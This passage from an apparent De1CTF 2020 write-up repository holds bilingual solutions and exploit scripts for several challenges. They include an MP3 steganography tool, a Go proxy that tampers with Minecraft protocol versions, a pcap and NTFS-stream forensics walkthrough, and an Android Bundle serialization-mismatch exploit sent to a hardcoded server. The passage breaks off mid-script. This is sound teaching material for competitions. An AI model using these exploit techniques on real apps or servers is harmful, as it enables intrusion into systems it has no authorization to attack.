your status 66 | /items -> show your items 67 | /exchange -> make some exchange 68 | /shop -> list all category 69 | /shop [category_id] -> list items in category 70 | /buy [item_id] -> buy the item 71 | /use [item_id] -> use your item 72 | /attack -> attack the BOSS 73 | ``` 74 | 75 | 玩家的物品都存储在一个 `slice` 列表里,而且每一个物品都包含以下属性,fuzz一下也不难发现这点。 76 | 77 | > Price / Attack / Shield / HP / Food / XP 78 | 79 | 漏洞函数位于 `exhcange` -> `random sell`。 这个漏洞是我平时写代码时发现的,他会触发大概像 `slice` 出栈的功能,但是由于返回值顺序的问题,导致返回了错误的值。大致代码如下: 80 | 81 | ``` 82 | func slicePop(s []int, i uint) (r []int, e int) { 83 | if len(s) == 0 { 84 | return []int{}, -1 85 | }else if len(s) == 1 { 86 | return []int{}, s[0] 87 | } 88 | if i >= uint(len(s)) { 89 | return s[1:], s[0] 90 | } 91 | return append(s[:i], s[i + 1:]...), s[i] 92 | } 93 | ``` 94 | 95 | 我这里的解法是,通过不断调用此功能,获得足够多的金钱(大于200),然后使用一个TNT去打败boss。 96 | 97 | 当然,赛后发现还有其他解法,只需要最终打败boss即可。 98 | 99 | 详情可见 `exp.go`。 100 | 101 | 当你打败boss,你将得到编码信息。简单地进行 `base32解码` 和 `rot13变换` ,你将得到 flag 和一个隐藏命令 `/MC2020-DEBUG-VIEW:-)`。 102 | 103 | `De1CTF{S3cur3_UsAG3_0f-GO_Slice~}` -------------------------------------------------------------------------------- /writeup/misc/mc_easybgm/mp3.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | # -*- coding: utf-8 -*- 3 | # @Author: impakho 4 | # @Date: 2020/04/19 5 | # @Github: https://github.com/impakho 6 | 7 | import sys, math 8 | 9 | table_bits = { 10 | 0b0001: 32, 11 | 0b0010: 40, 12 | 0b0011: 48, 13 | 0b0100: 56, 14 | 0b0101: 64, 15 | 0b0110: 80, 16 | 0b0111: 96, 17 | 0b1000: 112, 18 | 0b1001: 128, 19 | 0b1010: 160, 20 | 0b1011: 192, 21 | 0b1100: 224, 22 | 0b1101: 256, 23 | 0b1110: 320 24 | } 25 | 26 | table_sample = { 27 | 0b00: 44.1, 28 | 0b01: 48, 29 | 0b10: 32 30 | } 31 | 32 | def toSize(size): 33 | return (( size[0] & 0x7F ) << 21) + \ 34 | (( size[1] & 0x7F ) << 14) + \ 35 | (( size[2] & 0x7F ) << 7) + \ 36 | ( size[3] & 0x7F ) 37 | 38 | def toInt(byte): 39 | return (byte[0] << 24) + \ 40 | (byte[1] << 16) + \ 41 | (byte[2] << 8) + \ 42 | byte[3] 43 | 44 | def toFrameSize(crc, bits, sample, padding): 45 | return math.floor(1152 / 8 * table_bits[bits] / table_sample[sample] + padding + 4 * (crc ^ 1)) 46 | 47 | def encode(path, msg): 48 | # msg 49 | msg = ''.join(format(ord(x), 'b').rjust(8, '0') for x in msg)[::-1].rstrip('0') 50 | 51 | # open 52 | rfp = open(path, 'rb') 53 | wfp = open(path + '.encode.mp3', 'wb') 54 | 55 | # file_id 56 | file_id = rfp.read(3) 57 | if file_id != b'ID3': 58 | raise Exception('not a valid mp3 file') 59 | wfp.write(file_id) 60 | 61 | # ver 62 | ver = rfp.read(1) 63 | if ver != b'\x03': 64 | raise Exception('not a valid mp3 file') 65 | wfp.write(ver) 66 | 67 | # rev 68 | rev = rfp.read(1) 69 | wfp.write(rev) 70 | 71 | # flag 72 | flag = rfp.read(1) 73 | wfp.write(flag) 74 | 75 | # size 76 | size = rfp.read(4) 77 | wfp.write(size) 78 | 79 | # tags 80 | tags = rfp.read(toSize(size)) 81 | wfp.write(tags) 82 | 83 | # frames 84 | while True: 85 | frame_head = rfp.read(4) 86 | if frame_head[:2] != b'\xff\xfa' and frame_head[:2] != b'\xff\xfb': 87 | wfp.write(frame_head) 88 | break 89 | 90 | crc = frame_head[1] & 1 91 | bits = frame_head[2] >> 4 92 | sample = (frame_head[2] >> 2) & 3 93 | padding = (frame_head[2] >> 1) & 1 94 | frame_size = toFrameSize(crc, bits, sample, padding) 95 | frame_data = rfp.read(frame_size - 4) 96 | 97 | if not crc: 98 | frame_head = frame_head[:1] + bytes([frame_head[1] & 0xfe]) + frame_head[2:] 99 | frame_data = frame_data[:-4] 100 | 101 | if len(msg) > 0: 102 | frame_head = frame_head[:2] + bytes([(frame_head[2] & 0xfe) + int(msg[0])]) + frame_head[3:] 103 | msg = msg[1:] 104 | 105 | wfp.write(frame_head) 106 | wfp.write(frame_data) 107 | 108 | other_data = rfp.read() 109 | wfp.write(other_data) 110 | 111 | # close 112 | rfp.close() 113 | wfp.close() 114 | 115 | def decode(path): 116 | # msg 117 | msg = '' 118 | 119 | # open 120 | rfp = open(path, 'rb') 121 | 122 | # file_id 123 | file_id = rfp.read(3) 124 | if file_id != b'ID3': 125 | raise Exception('not a valid mp3 file') 126 | 127 | # ver 128 | ver = rfp.read(1) 129 | if ver != b'\x03': 130 | raise Exception('not a valid mp3 file') 131 | 132 | # rev 133 | rev = rfp.read(1) 134 | 135 | # flag 136 | flag = rfp.read(1) 137 | 138 | # size 139 | size = rfp.read(4) 140 | 141 | # tags 142 | tags = rfp.read(toSize(size)) 143 | 144 | # frames 145 | while True: 146 | frame_head = rfp.read(4) 147 | if frame_head[:2] != b'\xff\xfa' and frame_head[:2] != b'\xff\xfb': 148 | break 149 | 150 | crc = frame_head[1] & 1 151 | bits = frame_head[2] >> 4 152 | sample = (frame_head[2] >> 2) & 3 153 | padding = (frame_head[2] >> 1) & 1 154 | frame_size = toFrameSize(crc, bits, sample, padding) 155 | 156 | frame_data = rfp.read(frame_size - 4) 157 | 158 | msg = str(frame_head[2] & 1) + msg 159 | 160 | # close 161 | rfp.close() 162 | 163 | # print msg 164 | msg = msg.lstrip('0') 165 | if len(msg) % 8 != 0: 166 | msg = msg.rjust((int(len(msg) / 8) + 1) * 8, '0') 167 | msg = ''.join(chr(int(''.join(x), 2)) for x in zip(*[iter(msg)]*8)) 168 | print(msg) 169 | 170 | if __name__ == '__main__': 171 | if len(sys.argv) < 2: 172 | print('hide message into mp3 file:') 173 | print(' ' * 4, 'python3', __file__, '', '') 174 | print('') 175 | print('read message from mp3 file:') 176 | print(' ' * 4, 'python3', __file__, '') 177 | 178 | if len(sys.argv) == 3: 179 | encode(sys.argv[1], sys.argv[2]) 180 | 181 | if len(sys.argv) == 2: 182 | decode(sys.argv[1]) -------------------------------------------------------------------------------- /writeup/misc/mc_easybgm/readme.md: -------------------------------------------------------------------------------- 1 | ## misc - mc_easybgm 2 | 3 | [Source Code](https://github.com/impakho/de1ctf-mc_challs) 4 | 5 | Unused bit stego. The script: `mp3.py`. 6 | 7 | [https://en.wikipedia.org/wiki/MP3#File_structure](https://en.wikipedia.org/wiki/MP3#File_structure) 8 | 9 | `De1CTF{W31c0m3_t0_Mi73CR4Ft_W0r1D_D3jAVu!}` 10 | 11 | ## misc - mc_easybgm 12 | 13 | [Source Code](https://github.com/impakho/de1ctf-mc_challs) 14 | 15 | 源自于上一年在某个比赛的启发,发现可以在mp3每一帧的保留位处隐写,当时写了实现脚本,现在发现弄丢了,然后重新写了一个。 16 | 17 | 详情可见 `mp3.py`。 18 | 19 | [https://en.wikipedia.org/wiki/MP3#File_structure](https://en.wikipedia.org/wiki/MP3#File_structure) 20 | 21 | `De1CTF{W31c0m3_t0_Mi73CR4Ft_W0r1D_D3jAVu!}` -------------------------------------------------------------------------------- /writeup/misc/mc_joinin/exp.go: -------------------------------------------------------------------------------- 1 | /** 2 | * @Author: impakho 3 | * @Date: 2020/04/12 4 | * @Github: https://github.com/impakho 5 | */ 6 | 7 | package main 8 | 9 | import ( 10 | "bytes" 11 | "encoding/hex" 12 | "errors" 13 | "fmt" 14 | "log" 15 | "net" 16 | "os" 17 | "strconv" 18 | "strings" 19 | ) 20 | 21 | const COPYRIGHT_AUTHOR = "impakho" 22 | const COPYRIGHT_DATE = "2020/04/12" 23 | const COPYRIGHT_GITHUB = "https://github.com/impakho" 24 | 25 | // PLEASE MODIFY THIS 26 | const MINECRAFT_ADDR = "134.175.230.10:25565" 27 | const LOCAL_PROXY_LISTEN_ADDR = "127.0.0.1:25565" 28 | const PLAYER_NAME = "Steve" 29 | 30 | const DEBUG = false 31 | var listener net.Listener 32 | 33 | func main() { 34 | fmt.Println("[mc_login] exploit") 35 | fmt.Println("Please modify the config in this file.") 36 | if DEBUG { 37 | SolutionOne() 38 | return 39 | } 40 | if len(os.Args) < 2 { 41 | log.Fatal("Use args -s1 / -s2 to choose a solution.") 42 | } 43 | if os.Args[1] == "-s1" { 44 | // Solution One 45 | SolutionOne() 46 | }else if os.Args[1] == "-s2" { 47 | // Solution Two 48 | SolutionTwo() 49 | }else{ 50 | log.Fatal("No such solution.") 51 | } 52 | } 53 | 54 | func SolutionOne() { 55 | fmt.Println(fmt.Sprintf("Use Minecraft 1.12 to connect %s", LOCAL_PROXY_LISTEN_ADDR)) 56 | fmt.Println("Press TAB to view the player list in the game. There is FLAG ONE.") 57 | StartLocalProxy() 58 | } 59 | 60 | func SolutionTwo() { 61 | conn, err := net.Dial("tcp", MINECRAFT_ADDR) 62 | if err != nil { 63 | return 64 | } 65 | go func() { 66 | for { 67 | buff := make([]byte, 4096) 68 | n ,err := conn.Read(buff) 69 | if err != nil { 70 | conn.Close() 71 | break 72 | } 73 | buff = buff[:n] 74 | fmt.Println(hex.Dump(buff)) 75 | } 76 | }() 77 | var data []byte 78 | 79 | data = Handshake() 80 | conn.Write(data) 81 | fmt.Println(hex.Dump(data)) 82 | 83 | data = LoginStart() 84 | conn.Write(data) 85 | fmt.Println(hex.Dump(data)) 86 | 87 | select{} 88 | } 89 | 90 | func ParseAddr(addr string) (ip string, port uint16, err error) { 91 | sep := strings.Split(addr, ":") 92 | tip := net.ParseIP(sep[0]) 93 | tport, err := strconv.Atoi(sep[1]) 94 | if tip == nil || err != nil || tport < 1 || tport > 65535 { 95 | return ip, port, errors.New("invalid addr format") 96 | } 97 | return tip.String(), uint16(tport), nil 98 | } 99 | 100 | func Handshake() []byte { 101 | // Reference: https://wiki.vg/index.php?title=Protocol&oldid=13223#Handshake 102 | id := []byte{0x00} 103 | protocol_version := VarInt(997).Encode() 104 | ip, port, err := ParseAddr(MINECRAFT_ADDR) 105 | if err != nil { 106 | return nil 107 | } 108 | server_address := String(ip).Encode() 109 | server_port := UnsignedShort(port).Encode() 110 | state := []byte{0x02} 111 | pkt := make([]byte, 0) 112 | pkt = append(pkt, id...) 113 | pkt = append(pkt, protocol_version...) 114 | pkt = append(pkt, server_address...) 115 | pkt = append(pkt, server_port...) 116 | pkt = append(pkt, state...) 117 | pkt = append(VarInt(len(pkt)).Encode(), pkt...) 118 | return pkt 119 | } 120 | 121 | func LoginStart() []byte { 122 | // Reference: https://wiki.vg/index.php?title=Protocol&oldid=13223#Login_Start 123 | id := []byte{0x00} 124 | name := String(PLAYER_NAME).Encode() 125 | pkt := make([]byte, 0) 126 | pkt = append(pkt, id...) 127 | pkt = append(pkt, name...) 128 | pkt = append(VarInt(len(pkt)).Encode(), pkt...) 129 | return pkt 130 | } 131 | 132 | func StartLocalProxy() { 133 | var err error 134 | listener, err = net.Listen("tcp", LOCAL_PROXY_LISTEN_ADDR) 135 | if err != nil { 136 | log.Fatal(err) 137 | } 138 | fmt.Println("local proxy started.") 139 | AcceptTCPConn() 140 | } 141 | 142 | func AcceptTCPConn() { 143 | for { 144 | conn, err := listener.Accept() 145 | if err != nil { 146 | continue 147 | } 148 | 149 | go HandleTCPConn(conn) 150 | } 151 | } 152 | 153 | func HandleTCPConn(conn net.Conn) { 154 | rconn, err := net.Dial("tcp", MINECRAFT_ADDR) 155 | if err != nil { 156 | conn.Close() 157 | return 158 | } 159 | go func() { 160 | replacement := false 161 | for { 162 | buff := make([]byte, 4096) 163 | n ,err := conn.Read(buff) 164 | if err != nil { 165 | rconn.Close() 166 | conn.Close() 167 | break 168 | } 169 | buff = buff[:n] 170 | // Reference: https://wiki.vg/index.php?title=Protocol&oldid=13223#Handshake 171 | if !replacement && bytes.Contains(buff, append([]byte{0x00}, VarInt(335).Encode()...)) { 172 | buff = bytes.Replace(buff, append([]byte{0x00}, VarInt(335).Encode()...), append([]byte{0x00}, VarInt(997).Encode()...), -1) 173 | replacement = true 174 | } 175 | rconn.Write(buff) 176 | } 177 | }() 178 | replacement := false 179 | for { 180 | buff := make([]byte, 4096) 181 | n ,err := rconn.Read(buff) 182 | if err != nil { 183 | rconn.Close() 184 | conn.Close() 185 | break 186 | } 187 | buff = buff[:n] 188 | // Reference: https://wiki.vg/index.php?title=Protocol&oldid=13223#Response / https://wiki.vg/Server_List_Ping#Response 189 | if !replacement && bytes.Contains(buff, []byte("\"protocol\":997}")) { 190 | buff = bytes.Replace(buff, []byte("\"protocol\":997}"), []byte("\"protocol\":335}"), -1) 191 | replacement = true 192 | } 193 | conn.Write(buff) 194 | } 195 | } -------------------------------------------------------------------------------- /writeup/misc/mc_joinin/image/1.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/De1ta-team/De1CTF2020/2acd79937021b79a3a5cb54e1f635c335fb4bd3c/writeup/misc/mc_joinin/image/1.png -------------------------------------------------------------------------------- /writeup/misc/mc_joinin/image/2.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/De1ta-team/De1CTF2020/2acd79937021b79a3a5cb54e1f635c335fb4bd3c/writeup/misc/mc_joinin/image/2.png -------------------------------------------------------------------------------- /writeup/misc/mc_joinin/readme.md: -------------------------------------------------------------------------------- 1 | ## misc - mc_joinin 2 | 3 | [Source Code](https://github.com/impakho/de1ctf-mc_challs) 4 | 5 | The minecraft game service is opened on default port `25565`. 6 | 7 | We add the server to mutil-player server list. It seems that it's not supported by our client. The server is using 'MC2020' as service and our client is seems to be outdated. 8 | 9 | ![](image/1.png) 10 | 11 | From the website we know that, `MC2020` is developed based on `1.12`. 12 | 13 | ``` 14 | Minecraft 20.20 is developed by De1ta Team based on 1.12 15 | ``` 16 | 17 | Of course there is a thick. The server is still using `1.12` protocol to communicate. But in the 'protocol version checking' procedure, it's just failed. 18 | 19 | It comes out two solutions. One, we just simply replace the 'version' in the procedure during communication between the server and the client by a custom proxy. Another, we simulate the client's function, login to the game. 20 | 21 | Reference: 22 | 23 | ``` 24 | Minecraft 1.12 Protocol(Version: 335) Wiki Page 25 | https://wiki.vg/index.php?title=Protocol&oldid=13223 26 | ``` 27 | 28 | `exp.go` is the exploit written in golang, containing with two solutions mentioned above. 29 | 30 | The flag is hidden in the image from `imgur`. 31 | 32 | ![](image/2.png) 33 | 34 | `De1CTF{MC2020_Pr0to3l_Is_Funny-ISn't_It?}` 35 | 36 | ## misc - mc_joinin 37 | 38 | [Source Code](https://github.com/impakho/de1ctf-mc_challs) 39 | 40 | 因为想要出一道mc题,然后红石题以前比赛已经出现过,所以就没有出了。 41 | 42 | 最近在搞网络协议开发这块,所以熟悉了一下mc协议,发现可以在此处作文章。回想起中科大校赛黑曜石浏览器那题改ua版本号,发现协议通讯也涉及版本验证,所以出了这么一道题。 43 | 44 | 去重新写协议很麻烦,偷懒在某hub找到一个轮子[TyphoonMC/TyphoonLimbo](https://github.com/TyphoonMC/TyphoonLimbo),直接魔改。 45 | 46 | 游戏开放在 `25565` 端口。 47 | 48 | 添加服务器到列表里,发现是 `MC2020` 服务端。 49 | 50 | ![](image/1.png) 51 | 52 | 从官网得知 `MC2020` 是基于 `1.12` 开发的。 53 | 54 | ``` 55 | Minecraft 20.20 is developed by De1ta Team based on 1.12 56 | ``` 57 | 58 | 所以我们可以用 `1.12` 的协议去通讯。 59 | 60 | 这里有两种实现方法。第一种是 MITM 中间人篡改通讯数据包里的版本号,绕过验证,成功登录游戏。第二种是直接模拟通讯协议,实现通讯。 61 | 62 | 参考资料: 63 | 64 | ``` 65 | Minecraft 1.12 Protocol(Version: 335) Wiki Page 66 | https://wiki.vg/index.php?title=Protocol&oldid=13223 67 | ``` 68 | 69 | `exp.go` 包含两种解法。 70 | 71 | flag藏在 `imgur` 的图片里。 72 | 73 | ![](image/2.png) 74 | 75 | `De1CTF{MC2020_Pr0to3l_Is_Funny-ISn't_It?}` -------------------------------------------------------------------------------- /writeup/misc/misc_chowder/README.md: -------------------------------------------------------------------------------- 1 | ## Misc_Chowder 2 | 3 | There is a `Misc_Chowder.pcap` given.Use wireshark to open it. Export the HTTP objects. You can see the type `multipart/form-data`. There are some data in them. 4 | 5 | ![1588654908630.png](https://i.loli.net/2020/05/06/Ccub47IsZDMRYT9.png) 6 | 7 | Extract the content and you will find a `png` file.(the begin of this png is `89504E47`and the end of this png is `426082`), use `winhex` to extract it. And then you will get this information. 8 | 9 | ![123.png](https://i.loli.net/2020/05/06/bNfZDhv3aI4PGnM.png) 10 | 11 | Download it and you will get the `readme.zip`.There is a `readme.docx` in it. Change the filename of readme.docx to 123.zip ,open it and you will find the` You_found_me_Orz.zip`.You need to use `brute-force attack` to get the password of ` You_found_me_Orz.zip`.There is a tip here:`The password is composed of six letters, and the two letters at the beginning of the password are D and E.` 12 | 13 | And then you can get the password is `DE34Q1`. 14 | 15 | ![1588656395938.png](https://i.loli.net/2020/05/06/RaTcEAtufyWJZoK.png) 16 | 17 | Now you get a new file `You_found_me_Orz.jpg`.Use `notepad++` or `winhex` to open it.You will find `666.jpg`、`flag.txt`、`fffffffflllll.txt`and other files.Change the filename of `You_found_me_Orz.jpg` to `You_found_me_Orz.rar` ,open it and you will get the files except `fffffffflllll.txt` 18 | 19 | ![1588655950372.png](https://i.loli.net/2020/05/06/UoWJA1RF4zmMdf7.png) 20 | 21 | There is a file `flag.txt` in it, which content is 22 | 23 | ``` 24 | De1CTF{jaivy say that you almost get me!!! } 25 | ``` 26 | 27 | but it's a fake flag and you need to find the real one. 28 | 29 | The test point is `ADS steganography` .You can use `Shortcut to NTFS Streams Info` to open it, and you will find the `fffffffflllll.txt` is hidden in `666.jpg`. 30 | 31 | ![1588656264938.png](https://i.loli.net/2020/05/06/KvL1X6YP7DedxrR.png) 32 | 33 | Extract it and you get the real flag! 34 | 35 | ``` 36 | De1CTF{E4Sy_M1sc_By_Jaivy_31b229908cb9bb} 37 | ``` -------------------------------------------------------------------------------- /writeup/misc/misc_chowder/README_cn.md: -------------------------------------------------------------------------------- 1 | ## Misc_Chowder 2 | 3 | 赛题给了一个流量包,使用wireshark打开,选择菜单栏“文件-导出对象-HTTP”,可以发现有7个内容类型为`multipart/form-data`,这些都是上传的一些数据。 4 | 5 | ![1588654908630.png](https://i.loli.net/2020/05/06/Ccub47IsZDMRYT9.png) 6 | 7 | 把内容提取出来,可以发现有6个是jpg,有一个是png,包含png图片数据的是上面分组号为3075的数据包,把它save保存下来,然后拖进winhex,找到png数据的开头和结尾(此png的文件头为 89504E47 ,文件尾为 426082 ),结合快捷键alt+1、alt+2、ctrl+x即可完成切割,提取得到png图片,得到另一个附件的链接。 8 | 9 | ![123.png](https://i.loli.net/2020/05/06/bNfZDhv3aI4PGnM.png) 10 | 11 | 得到一个readme.zip,解压发现有个readme.docx(其实这里本来还设计了一个zip伪加密,但是文件一上传drive.google,伪加密就不见了,不知道为啥)。 12 | 13 | 在`readme.docx`里发现藏有zip文件,直接把后缀改为zip,即可提取出来`You_found_me_Orz.zip`。这个zip文件需要暴力破解得到密码(可能由于存在缓存的原因,出题人在自己电脑测试的时候爆破出当时设计的6位密码的时间并不长,后面重装了一下软件,发现确实爆破时间很长,于是给了提示“密码是由6位字符组成,开头的2个字符是DE”),爆破得到密码为`DE34Q1`。 14 | 15 | ![1588656395938.png](https://i.loli.net/2020/05/06/RaTcEAtufyWJZoK.png) 16 | 17 | 解压得到一个图片`You_found_me_Orz.jpg`,拖进notepad++、winhex等工具可以发现还有里面还有666.jpg、flag.txt、fffffffflllll.txt等文件,并且发现了rar的一些标志。 18 | 19 | ![1588655950372.png](https://i.loli.net/2020/05/06/UoWJA1RF4zmMdf7.png) 20 | 21 | 直接把后缀名改为rar即可解压出里面的文件。其中flag.txt 22 | 23 | ``` 24 | De1CTF{jaivy say that you almost get me!!! } 25 | ``` 26 | 27 | 是一个假的flag(这点好多老外过来问...),并且发现fffffffflllll.txt并没有出现,这里考察的是ADS隐写,也可以通过上图当中的`:fffffffflllll.txt`看出一些端倪,因为ADS隐写的一些数据一般都是这样子的`xxx:xxxxxx`。使用`Shortcut to NTFS Streams Info`工具即可看到藏在666.jpg中的ADS隐写数据获得真正的flag。 28 | 29 | ![1588656264938.png](https://i.loli.net/2020/05/06/KvL1X6YP7DedxrR.png) 30 | 31 | 提取得到flag为 32 | 33 | ``` 34 | De1CTF{E4Sy_M1sc_By_Jaivy_31b229908cb9bb} 35 | ``` -------------------------------------------------------------------------------- /writeup/misc/misc_chowder/attachment/Misc_Chowder.pcap: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/De1ta-team/De1CTF2020/2acd79937021b79a3a5cb54e1f635c335fb4bd3c/writeup/misc/misc_chowder/attachment/Misc_Chowder.pcap -------------------------------------------------------------------------------- /writeup/pwn/.gitkeep: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/De1ta-team/De1CTF2020/2acd79937021b79a3a5cb54e1f635c335fb4bd3c/writeup/pwn/.gitkeep -------------------------------------------------------------------------------- /writeup/pwn/BroadCastTest/BroadcastTest.apk: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/De1ta-team/De1CTF2020/2acd79937021b79a3a5cb54e1f635c335fb4bd3c/writeup/pwn/BroadCastTest/BroadcastTest.apk -------------------------------------------------------------------------------- /writeup/pwn/BroadCastTest/README.md: -------------------------------------------------------------------------------- 1 | ## BroadCastTest 2 | [中文](./README_zh.md) [English](./README.md) 3 | 4 | [attachment](./BroadcastTest.apk) 5 | 6 | [docker](./docker.zip) 7 | 8 | This chall is an android pwn 9 | The vulnerability is about the mismatch between serialization and deserialization 10 | This chall is mainly inspired by CVE-2017-13311, etc. 11 | 12 | You can read this article https://weekly-geekly.github.io/articles/457558/index.html, which details the cause of similar vulnerabilities 13 | 14 | In the apk, it first read the Base64 string, then base64decode the data and put it as a Bundle in the broadcast, send it to Receiver2 15 | Receiver2 receives the broadcast, takes out the Bundle, and then takes out a string which key is "command" from the bundle, and determines whether it is getflag, 16 | If not, the Receiver2 will continue to broadcast the data to Receiver3 17 | Receiver3 receives the broadcast, takes out the Bundle, check whether the command is getflag, if so, it outputs "Congratulation" 18 | 19 | We cannot pass this check in a normal way, but there is a com.de1ta.broadcasttest.MainActivity $ Message class in the apk, where the serialization and deserialization do not match 20 | 21 | In Receiver2, checking whether the command is "getflag" will cause the Bundle to be deserialized. When it is sent to Receiver3, it will be serialized again. Finally, Receiver3 will perform the last deserialization after receiving the Bundle. 22 | 23 | Using the vulnerability, the string whose key is command cannot be obtained when it is deserialized in Receiver2. After serialization, the string with key as command and the value of getflag appears, and then the check of Receiver3 can pass, and finally get To flag 24 | 25 | Below is the exp 26 | ``` 27 | from pwn import * 28 | import base64 29 | from hashlib import sha256 30 | import itertools 31 | import string 32 | context.log_level = 'debug' 33 | 34 | def proof_of_work(chal): 35 | #for i in itertools.permutations(string.ascii_letters+string.digits, 4): 36 | for i in itertools.permutations([chr(i) for i in range(256)], 4): 37 | sol = ''.join(i) 38 | if sha256(chal + sol).digest().startswith('\0\0\0'): 39 | return sol 40 | 41 | 42 | a = 'SAEAAEJOREwDAAAACAAAAG0AaQBzAG0AYQB0AGMAaAAAAAAABAAAACwAAABjAG8AbQAuAGQAZQAxAHQAYQAuAGIAcgBvAGEAZABjAGEAcwB0AHQAZQBzAHQALgBNAGEAaQBuAEEAYwB0AGkAdgBpAHQAeQAkAE0AZQBzAHMAYQBnAGUAAAAAAP////8AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABAAAAAwAAAA0AAAA0AAAADQAAAAAAAAAHAAAAYwBvAG0AbQBhAG4AZAAAAAAAAAAHAAAAZwBlAHQAZgBsAGEAZwAAAAcAAABjAG8AbQBtAGEAbgBkAAAAAAAAAA0AAABQAGEAZABkAGkAbgBnAC0AVgBhAGwAdQBlAAAA' 43 | b = base64.b64decode(a) 44 | p = remote('206.189.186.98', 8848) 45 | p.recvuntil('chal= ') 46 | chal = p.recvuntil('\n')[:-1] 47 | p.recvuntil('>>\n') 48 | sol = proof_of_work(chal) 49 | p.send(sol) 50 | p.recvuntil('size') 51 | p.sendline(str(len(b))) 52 | p.recvuntil('please input payload:') 53 | p.send(b) 54 | p.interactive() 55 | ``` 56 | -------------------------------------------------------------------------------- /writeup/pwn/BroadCastTest/README_zh.md: -------------------------------------------------------------------------------- 1 | ## BroadCastTest 2 | [中文](./README_zh.md) [English](./README.md) 3 | 4 | [attachment](./BroadcastTest.apk) 5 | 6 | [docker](./docker.zip) 7 | 8 | 这道题是一道android pwn 9 | 主要的漏洞点是关于序列化与反序列化不匹配的漏洞 10 | 这道题主要是由CVE-2017-13311等启发而成 11 | 12 | 可以阅读https://xz.aliyun.com/t/2364, 这篇文章,里面详细的说明了类似漏洞的原理 13 | 14 | 在apk中,首先读取了Base64字符串,base64decode之后将其作为一个Bundle放到广播中,发送给Receiver2 15 | Receiver2接收到广播,取出Bundle,再从Bundle里面取出key为command的值,判断是否为getflag,不是的话就可以继续广播到Receiver3 16 | Receiver3接收到广播,取出Bundle,判断command是否为getflag,是的话就输出Congratulation 17 | 18 | 正常途径是不能绕过这个判断的,但是在apk中存在一个com.de1ta.broadcasttest.MainActivity$Message类,里面的序列化和反序列化是不匹配的 19 | 20 | 在Receiver2中判断会command是否为flag会导致Bundle进行反序列化,之后发送给Receiver3的时候会进行序列化,最后Receiver3接收到Bundle后会进行最后一次反序列化 21 | 22 | 利用漏洞,可以在Receiver2中反序列化的时候获取不到key为command的string,在序列化之后就出现了key为command,值为getflag的string,然后Receiver3的check就能通过,最终获取到flag 23 | 24 | 下面是exp 25 | ``` 26 | from pwn import * 27 | import base64 28 | from hashlib import sha256 29 | import itertools 30 | import string 31 | context.log_level = 'debug' 32 | 33 | def proof_of_work(chal): 34 | #for i in itertools.permutations(string.ascii_letters+string.digits, 4): 35 | for i in itertools.permutations([chr(i) for i in range(256)], 4): 36 | sol = ''.join(i) 37 | if sha256(chal + sol).digest().startswith('\0\0\0'): 38 | return sol 39 | 40 | 41 | a = 'SAEAAEJOREwDAAAACAAAAG0AaQBzAG0AYQB0AGMAaAAAAAAABAAAACwAAABjAG8AbQAuAGQAZQAxAHQAYQAuAGIAcgBvAGEAZABjAGEAcwB0AHQAZQBzAHQALgBNAGEAaQBuAEEAYwB0AGkAdgBpAHQAeQAkAE0AZQBzAHMAYQBnAGUAAAAAAP////8AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABAAAAAwAAAA0AAAA0AAAADQAAAAAAAAAHAAAAYwBvAG0AbQBhAG4AZAAAAAAAAAAHAAAAZwBlAHQAZgBsAGEAZwAAAAcAAABjAG8AbQBtAGEAbgBkAAAAAAAAAA0AAABQAGEAZABkAGkAbgBnAC0AVgBhAGwAdQBlAAAA' 42 | b = base64.b64decode(a) 43 | p = remote('206.189.186.98', 8848) 44 | p.recvuntil('chal= ') 45 | chal = p.recvuntil('\n')[:-1] 46 | p.recvuntil('>>\n') 47 | sol = proof_of_work(chal) 48 | p.send(sol) 49 | p.recvuntil('size') 50 | p.sendline(str(len(b))) 51 | p.recvuntil('please input payload:') 52 | p.send(b) 53 | p.interactive() 54 | ``` 55 | -------------------------------------------------------------------------------- /writeup/pwn/BroadCastTest/docker.zip: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/De1ta-team/De1CTF2020/2acd79937021b79a3a5cb54e1f635c335fb4bd3c/writeup/pwn/BroadCastTest/docker.zip -------------------------------------------------------------------------------- /writeup/pwn/code_runner/docker.zip: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/De1ta-team/De1CTF2020/2acd79937021b79a3a5cb54e1f635c335fb4bd3c/writeup/pwn/code_runner/docker.zip -------------------------------------------------------------------------------- /writeup/pwn/mc_realworld/exp.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | # -*- coding: utf-8 -*- 3 | # @Author: impakho 4 | # @Date: 2020/04/14 5 | # @Github: https://github.com/impakho 6 | 7 | import requests, time, json 8 | from pwn import * 9 | from base64 import * 10 | 11 | # Please modify this config 12 | WEB_PROXY_ADDR = {'http': 'http://127.0.0.1:9090'} 13 | REALWORLD_PROXY_IP = '127.0.0.1' 14 | REALWORLD_PROXY_PORT = 8080 15 | REALWORLD_WEB_ADDR = 'http://172.20.39.31:80' 16 | PLAYER_NAME = 'michaelfogleman.' # length must be 16 bytes, each char locates in `data_access_token_url` 17 | VICTIM_PLAYER = 'bot-abcd1234' 18 | 19 | 20 | def pow(sess, timeout=False): 21 | resp = sess.get(REALWORLD_WEB_ADDR + "/pow", proxies=WEB_PROXY_ADDR, timeout=5) 22 | decoded = json.loads(resp.content) 23 | text, result = decoded['text'], decoded['hash'] 24 | 25 | now_time = time.time() 26 | table = string.ascii_letters + string.digits 27 | for c1 in table: 28 | for c2 in table: 29 | for c3 in table: 30 | for c4 in table: 31 | full_text = text + c1 + c2 + c3 + c4 32 | if hashlib.sha256(full_text.encode()).hexdigest() == result: 33 | return full_text 34 | if timeout and time.time() - now_time >= 15: 35 | return '' 36 | return '' 37 | 38 | 39 | sess = requests.session() 40 | 41 | print("pow start") 42 | text = pow(sess, False) 43 | print("pow end") 44 | 45 | resp = sess.get(REALWORLD_WEB_ADDR + '/deploy', proxies=WEB_PROXY_ADDR, timeout=5, 